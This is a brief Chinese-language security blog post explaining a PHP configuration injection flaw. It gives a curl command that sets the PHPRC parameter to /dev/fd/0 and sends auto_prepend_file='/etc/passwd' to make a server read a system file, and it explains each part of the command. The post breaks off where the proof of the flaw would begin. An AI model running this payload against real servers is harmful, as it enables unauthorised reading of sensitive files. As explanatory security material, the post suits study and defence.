【网络安全】PHP配置注入漏洞

未经许可，不得转载。

正文

前提：通过探测等方式发现某个 PHP 文件存在 PHPRC 参数：

curl "https://xxx.com/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

PHPRC 用于指定 PHP 配置文件（php.ini）的路径。通过将其设置为 /dev/fd/0，我们尝试让服务器从标准输入读取 PHP 配置。

--data-binary 参数以二进制格式发送数据，适合传递原始数据而非标准表单参数。

auto_prepend_file 是 PHP 配置选项，可以在执行脚本前自动包含指定文件。这里我们设置为 /etc/passwd，试图读取系统敏感信息。

漏洞证明如下：